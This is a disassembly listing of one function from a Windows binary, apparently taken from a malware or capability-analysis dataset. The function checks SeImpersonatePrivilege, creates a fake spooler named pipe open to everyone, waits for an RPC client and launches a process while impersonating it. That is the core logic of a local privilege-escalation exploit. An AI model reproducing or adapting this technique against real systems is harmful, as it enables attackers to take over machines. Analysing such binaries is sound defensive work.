Function at 0x140003438
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
lea rcx, str...._syncing_event_object_with_WPAD_client...
call fcn.140002d38
lea r8, str.GlobalCVE_2021_21551
xor edx, edx
mov ecx, 0x100002
call qword [sym.imp.KERNEL32.dll_OpenEventW]
mov rbx, rax
test rax, rax
je 0x14000349a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str...._successfully_synced_WPAD_client_via_event_object
call fcn.140002d38
jmp 0x1400034ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str...._failed_to_open_handle_to_event_object__error__d_
call fcn.140002d38
call fcn.140002dc4
lea rdx, str.SeImpersonatePrivilege
test eax, eax
je 0x140003701
and qword [rbp + 0x1d0], 0
lea rcx, str...._successfully_obtained__ws_privilege
call fcn.140002d38
xorps xmm0, xmm0
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x1400036f3
lea rdx, [rbp + 0x1d0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
test eax, eax
jne 0x1400036f3
mov rbx, qword [rbp + 0x1d0]
test rbx, rbx
je 0x1400036f3
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x20a
call fcn.14000fb70
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
xor eax, eax
lea r9, str..pipe_wspipe_spoolss
mov edx, 0x104
mov qword [rbp - 0x58], rax
mov r8d, edx
mov qword [rsp + 0x60], rax
lea rcx, [rbp - 0x50]
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.140001bac
lea rdx, [rbp - 0x50]
lea rcx, str...._generated_fake_spool_pipe_name_of__ws
call fcn.140002d38
mov edi, 1
lea rcx, [rbp - 0x78]
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x1400036f3
xor r9d, r9d
lea r8, [rsp + 0x58]
mov edx, edi
lea rcx, str.D:_A_OICI_GA___WD_
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x1400036f3
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
lea r9d, [rdi + 9]
and dword [rsp + 0x30], 0
lea rcx, [rbp - 0x50]
mov eax, 0x800
mov edx, 0x40000003
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
test rax, rax
je 0x1400036f3
and qword [rsp + 0x68], 0
xorps xmm0, xmm0
xor r9d, r9d
xor r8d, r8d
mov edx, edi
xor ecx, ecx
movdqu xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea rdx, [rsp + 0x68]
mov rcx, rbx
mov rdi, rax
mov qword [rbp - 0x80], rax
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1400036e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1400036de
lea rcx, str...._named_pipe_connection_successful
call fcn.140002d38
lea rcx, str...._named_pipe_creation_and_connection_successful._Listening...
call fcn.140002d38
mov r9, qword [rbp + 0x1d0]
lea r8, [0x140002fd0]
and qword [rsp + 0x28], 0
xor edx, edx
and dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x1388
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400036bc
lea rcx, str...._recieved_connection_over_named_pipe
call fcn.140002d38
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov r8d, eax
mov rcx, rbx
call fcn.14000318c
test eax, eax
lea rdx, str...._failed_to_launch_process_while_impersonating_RPC_client
lea rcx, str...._successfully_launched_process_while_impersonating_RPC_client.
cmove rcx, rdx
call fcn.140002d38
jmp 0x1400036ca
mov edx, eax
lea rcx, str...._named_pipe_listener_failed_with_wait_error__d
call fcn.140002d38
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000370d
lea rcx, str...._named_pipe_connection_failed_with_invalid_error_code
jmp 0x1400036ee
lea rcx, str...._named_pipe_connection_succeeded_while_it_should_have_failed_with_ERROR_IO_PENDING
call fcn.140002d38
lea rcx, str...._named_pipe_creation_and_connection_failed
call fcn.140002d38
jmp 0x14000370d
lea rcx, str...._failed_to_obtain__ws_privilege
call fcn.140002d38
lea r11, [rsp + 0x2c0]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret